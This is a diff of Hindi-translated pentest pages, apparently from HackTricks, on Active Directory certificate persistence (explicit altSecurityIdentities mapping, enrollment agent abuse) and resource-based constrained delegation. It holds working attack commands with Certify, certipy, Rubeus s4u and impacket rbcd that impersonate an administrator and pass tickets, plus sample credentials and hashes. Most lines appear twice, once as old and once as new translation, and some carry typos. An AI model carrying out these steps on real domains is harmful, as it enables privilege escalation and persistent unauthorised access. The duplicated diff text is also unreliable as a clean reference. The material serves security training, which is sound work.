> संचालन संबंधी टिप: हमलावर-धारित PFX फ़ाइलों पर जीवनकाल को ट्रैक करें और जल्दी नवीनीकरण करें। नवीनीकरण से अपडेटेड प्रमाणपत्रों में आधुनिक SID मैपिंग एक्सटेंशन शामिल हो सकता है, जिससे वे सख्त DC मैपिंग नियमों के तहत उपयोगी बने रहते हैं (अगले अनुभाग को देखें)।
## स्पष्ट प्रमाणपत्र मैपिंग लगाना (altSecurityIdentities) PERSIST4
यदि आप एक लक्षित खाते के `altSecurityIdentities` विशेषता में लिख सकते हैं, तो आप एक हमलावर-नियंत्रित प्रमाणपत्र को उस खाते के साथ स्पष्ट रूप से मैप कर सकते हैं। यह पासवर्ड परिवर्तनों के पार बना रहता है और, जब मजबूत मैपिंग प्रारूपों का उपयोग किया जाता है, तो आधुनिक DC प्रवर्तन के तहत कार्यात्मक रहता है।
यदि आप एक लक्षित खाते के `altSecurityIdentities` विशेषता में लिख सकते हैं, तो आप उस खाते के लिए एक हमलावर-नियंत्रित प्रमाणपत्र को स्पष्ट रूप से मैप कर सकते हैं। यह पासवर्ड परिवर्तनों के पार स्थायी रहता है और, जब मजबूत मैपिंग प्रारूपों का उपयोग किया जाता है, तो आधुनिक DC प्रवर्तन के तहत कार्यात्मक बना रहता है।
उच्च-स्तरीय प्रवाह:
@ -85,8 +85,8 @@ Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
```
Notes
- केवल मजबूत मैपिंग प्रकारों का उपयोग करें: X509IssuerSerialNumber, X509SKI, या X509SHA1PublicKey। कमजोर प्रारूप (Subject/Issuer, Subject-only, RFC822 ईमेल) अप्रचलित हैं और DC नीति द्वारा ब्लॉक किए जा सकते हैं।
- प्रमाणपत्र श्रृंखला को DC द्वारा विश्वसनीय रूट पर बनाना चाहिए। NTAuth में एंटरप्राइज CA आमतौर पर विश्वसनीय होते हैं; कुछ वातावरण सार्वजनिक CA को भी विश्वसनीय मानते हैं।
- केवल मजबूत मैपिंग प्रकारों का उपयोग करें: X509IssuerSerialNumber, X509SKI, या X509SHA1PublicKey। कमजोर प्रारूप (Subject/Issuer, केवल Subject, RFC822 ईमेल) अप्रचलित हैं और DC नीति द्वारा अवरुद्ध किए जा सकते हैं।
- प्रमाणपत्र श्रृंखला को DC द्वारा विश्वसनीय एक रूट पर बनाना चाहिए। NTAuth में एंटरप्राइज CA आमतौर पर विश्वसनीय होते हैं; कुछ वातावरण सार्वजनिक CA को भी विश्वसनीय मानते हैं।
कमजोर स्पष्ट मैपिंग और हमले के रास्तों के बारे में अधिक जानकारी के लिए देखें:
@ -96,7 +96,7 @@ domain-escalation.md
## Enrollment Agent as Persistence PERSIST5
यदि आप एक मान्य प्रमाणपत्र अनुरोध एजेंट/एनरोलमेंट एजेंट प्रमाणपत्र प्राप्त करते हैं, तो आप इच्छानुसार उपयोगकर्ताओं की ओर से नए लॉगिन-योग्य प्रमाणपत्र बना सकते हैं और एजेंट PFX को ऑफ़लाइन एक स्थायी टोकन के रूप में रख सकते हैं। दुरुपयोग कार्यप्रवाह:
यदि आप एक मान्य प्रमाणपत्र अनुरोध एजेंट/एनरोलमेंट एजेंट प्रमाणपत्र प्राप्त करते हैं, तो आप इच्छानुसार उपयोगकर्ताओं की ओर से नए लॉगिन-सक्षम प्रमाणपत्र बना सकते हैं और एजेंट PFX को ऑफ़लाइन एक स्थायी टोकन के रूप में रख सकते हैं। दुरुपयोग कार्यप्रवाह:
```bash
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
@ -116,7 +116,7 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
Microsoft KB5014754 ने डोमेन नियंत्रकों पर मजबूत प्रमाणपत्र मैपिंग प्रवर्तन पेश किया। 11 फरवरी, 2025 से, DCs डिफ़ॉल्ट रूप से पूर्ण प्रवर्तन पर हैं, कमजोर/अस्पष्ट मैपिंग को अस्वीकार करते हैं। व्यावहारिक निहितार्थ:
- 2022 से पहले के प्रमाणपत्र जो SID मैपिंग एक्सटेंशन की कमी रखते हैं, पूर्ण प्रवर्तन में DCs के दौरान अप्रत्यक्ष मैपिंग में विफल हो सकते हैं। हमलावर AD CS के माध्यम से प्रमाणपत्रों को नवीनीकरण करके (SID एक्सटेंशन प्राप्त करने के लिए) या `altSecurityIdentities` में एक मजबूत स्पष्ट मैपिंग लगाकर (PERSIST4) पहुंच बनाए रख सकते हैं।
- मजबूत प्रारूपों (Issuer+Serial, SKI, SHA1-PublicKey) का उपयोग करते हुए स्पष्ट मैपिंग काम करना जारी रखती है। कमजोर प्रारूप (Issuer/Subject, Subject-only, RFC822) को अवरुद्ध किया जा सकता है और स्थायीता के लिए इससे बचना चाहिए।
- मजबूत प्रारूपों (Issuer+Serial, SKI, SHA1-PublicKey) का उपयोग करते हुए स्पष्ट मैपिंग काम करना जारी रखती है। कमजोर प्रारूप (Issuer/Subject, Subject-only, RFC822) को अवरुद्ध किया जा सकता है और इसे स्थायीता के लिए टाला जाना चाहिए।
प्रशासकों को निम्नलिखित पर निगरानी और अलर्ट करना चाहिए:
- `altSecurityIdentities` में परिवर्तन और नामांकन एजेंट और उपयोगकर्ता प्रमाणपत्रों के जारी करने/नवीनीकरण।

View File

@ -5,11 +5,11 @@
## Basics of Resource-based Constrained Delegation
यह मूल [Constrained Delegation](constrained-delegation.md) के समान है लेकिन **इसके बजाय** किसी **ऑब्जेक्ट** को **किसी मशीन के खिलाफ किसी भी उपयोगकर्ता का अनुकरण करने** की अनुमति देने के। Resource-based Constrained Delegation **सेट** करता है **उस ऑब्जेक्ट में जो किसी भी उपयोगकर्ता का अनुकरण कर सकता है**।
यह मूल [Constrained Delegation](constrained-delegation.md) के समान है लेकिन **इसके बजाय** किसी **वस्तु** को **किसी मशीन के खिलाफ किसी भी उपयोगकर्ता का अनुकरण करने** की अनुमति देने के। Resource-based Constrained Delegation **वस्तु में सेट करता है कि कौन किसी भी उपयोगकर्ता का अनुकरण कर सकता है**।
इस मामले में, सीमित ऑब्जेक्ट में एक विशेषता होगी जिसे _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ कहा जाता है जिसमें उस उपयोगकर्ता का नाम होगा जो इसके खिलाफ किसी अन्य उपयोगकर्ता का अनुकरण कर सकता है।
इस मामले में, सीमित वस्तु में एक विशेषता होगी जिसे _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ कहा जाता है जिसमें उस उपयोगकर्ता का नाम होगा जो इसके खिलाफ किसी अन्य उपयोगकर्ता का अनुकरण कर सकता है।
इस Constrained Delegation और अन्य डेलीगेशनों के बीच एक और महत्वपूर्ण अंतर यह है कि किसी भी उपयोगकर्ता के पास **कंप्यूटर खाते पर लिखने की अनुमति** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) हो सकती है जो **_msDS-AllowedToActOnBehalfOfOtherIdentity_** सेट कर सकता है (अन्य प्रकार की डेलीगेशन में आपको डोमेन एडमिन विशेषाधिकार की आवश्यकता थी)।
इस Constrained Delegation और अन्य डेलीगेशनों के बीच एक और महत्वपूर्ण अंतर यह है कि किसी भी उपयोगकर्ता के पास **कंप्यूटर खाते पर लिखने की अनुमति** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) हो सकती है जो **_msDS-AllowedToActOnBehalfOfOtherIdentity_** सेट कर सकता है (अन्य डेलीगेशन के रूपों में आपको डोमेन एडमिन विशेषाधिकार की आवश्यकता थी)।
### New Concepts
@ -24,13 +24,13 @@ Constrained Delegation में कहा गया था कि उपयो
मान लीजिए कि हमलावर के पास पहले से ही **शिकार कंप्यूटर पर लिखने के समकक्ष विशेषाधिकार** हैं।
1. हमलावर एक खाते को **समझौता** करता है जिसमें एक **SPN** है या **एक बनाता है** (“Service A”)। ध्यान दें कि **कोई भी** _Admin User_ बिना किसी अन्य विशेष विशेषाधिकार के **बना सकता है** 10 कंप्यूटर ऑब्जेक्ट्स तक (**_MachineAccountQuota_**) और उन्हें एक **SPN** सेट कर सकता है। इसलिए हमलावर बस एक कंप्यूटर ऑब्जेक्ट बना सकता है और एक SPN सेट कर सकता है।
1. हमलावर एक खाते को **समझौता** करता है जिसमें एक **SPN** है या **एक बनाता है** (“Service A”)। ध्यान दें कि **कोई भी** _Admin User_ बिना किसी अन्य विशेषाधिकार के **10 कंप्यूटर वस्तुएं** (**_MachineAccountQuota_**) बना सकता है और उन्हें एक **SPN** सेट कर सकता है। इसलिए हमलावर बस एक कंप्यूटर वस्तु बना सकता है और एक SPN सेट कर सकता है।
2. हमलावर शिकार कंप्यूटर (ServiceB) पर अपने WRITE विशेषाधिकार का **दुरुपयोग** करता है ताकि **resource-based constrained delegation को कॉन्फ़िगर किया जा सके ताकि ServiceA किसी भी उपयोगकर्ता का अनुकरण कर सके** उस शिकार कंप्यूटर (ServiceB) के खिलाफ।
3. हमलावर Rubeus का उपयोग करके एक **पूर्ण S4U हमला** (S4U2Self और S4U2Proxy) Service A से Service B के लिए एक उपयोगकर्ता के लिए **विशेषाधिकार प्राप्त पहुंच के साथ Service B** पर करता है
1. S4U2Self (समझौता/बनाए गए SPN से): मुझसे **Administrator का TGS** मांगें (Not Forwardable)।
2. S4U2Proxy: पिछले चरण के **not Forwardable TGS** का उपयोग करके **Administrator** से **शिकार होस्ट** के लिए **TGS** मांगें।
3. हमलावर Rubeus का उपयोग करके **पूर्ण S4U हमला** (S4U2Self और S4U2Proxy) Service A से Service B के लिए एक उपयोगकर्ता के लिए करता है **जिसके पास Service B तक विशेषाधिकार प्राप्त पहुंच है**
1. S4U2Self (समझौता/बनाए गए SPN से): मुझसे **Administrator का TGS मांगें** (Not Forwardable)।
2. S4U2Proxy: **शिकार होस्ट** के लिए **Administrator** से **TGS** मांगने के लिए पिछले चरण के **not Forwardable TGS** का उपयोग करें।
3. भले ही आप एक not Forwardable TGS का उपयोग कर रहे हों, क्योंकि आप Resource-based constrained delegation का शोषण कर रहे हैं, यह काम करेगा।
4. हमलावर **पास-दी-टिकट** कर सकता है और **उपयोगकर्ता का अनुकरण** कर सकता है ताकि **शिकार ServiceB** तक पहुंच प्राप्त कर सके।
4. हमलावर **पास-दी-टिकट** कर सकता है और **उपयोगकर्ता का अनुकरण** कर सकता है ताकि **शिकार ServiceB तक पहुंच प्राप्त कर सके**
डोमेन के _**MachineAccountQuota**_ की जांच करने के लिए आप उपयोग कर सकते हैं:
```bash
@ -86,7 +86,7 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> ध्यान दें कि उपयोगकर्ताओं के पास "**Cannot be delegated**" नामक एक विशेषता होती है। यदि किसी उपयोगकर्ता के पास यह विशेषता True है, तो आप उसकी नकल नहीं कर पाएंगे। यह संपत्ति bloodhound के अंदर देखी जा सकती है।
> ध्यान दें कि उपयोगकर्ताओं के पास "**Cannot be delegated**" नामक एक विशेषता होती है। यदि किसी उपयोगकर्ता क यह विशेषता True है, तो आप उसकी नकल नहीं कर पाएंगे। यह संपत्ति bloodhound के अंदर देखी जा सकती है।
### Linux tooling: end-to-end RBCD with Impacket (2024+)
@ -115,7 +115,7 @@ Notes
### Accessing
अंतिम कमांड लाइन **पूर्ण S4U हमले को निष्पादित करेगी और **TGS** को Administrator से पीड़ित होस्ट में **मेमोरी** में इंजेक्ट करेगी।\
इस उदाहरण में Administrator से **CIFS** सेवा के लिए एक TGS का अनुरोध किया गया था, इसलिए आप **C$** तक पहुँच सकेंगे:
इस उदाहरण में Administrator से **CIFS** सेवा के लिए एक TGS का अनुरोध किया गया था, इसलिए आप **C$** तक पहुँच सक हैं:
```bash
ls \\victim.domain.local\C$
```
@ -167,7 +167,7 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
- **`KDC_ERR_ETYPE_NOTSUPP`**: इसका मतलब है कि kerberos को DES या RC4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल RC4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश (या बस rc4, aes128 और aes256 हैश प्रदान करें) दें। उदाहरण: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: इसका मतलब है कि वर्तमान कंप्यूटर का समय DC के समय से अलग है और kerberos सही तरीके से काम नहीं कर रहा है।
- **`preauth_failed`**: इसका मतलब है कि दिया गया उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आप हैश उत्पन्न करते समय उपयोगकर्ता नाम के अंदर "$" डालना भूल गए होंगे (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`preauth_failed`**: इसका मतलब है कि दिया गया उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आप हैश उत्पन्न करते समय उपयोगकर्ता नाम के अंदर "$" डालना भूल गए हो सकते हैं (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`**: इसका मतलब हो सकता है:
- जिस उपयोगकर्ता को आप अनुकरण करने की कोशिश कर रहे हैं वह इच्छित सेवा तक पहुँच नहीं सकता (क्योंकि आप इसे अनुकरण नहीं कर सकते या क्योंकि इसके पास पर्याप्त विशेषाधिकार नहीं हैं)
- मांगी गई सेवा मौजूद नहीं है (यदि आप winrm के लिए एक टिकट मांगते हैं लेकिन winrm चल नहीं रहा है)
@ -198,5 +198,4 @@ adws-enumeration.md
- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
{{#include ../../banners/hacktricks-training.md}}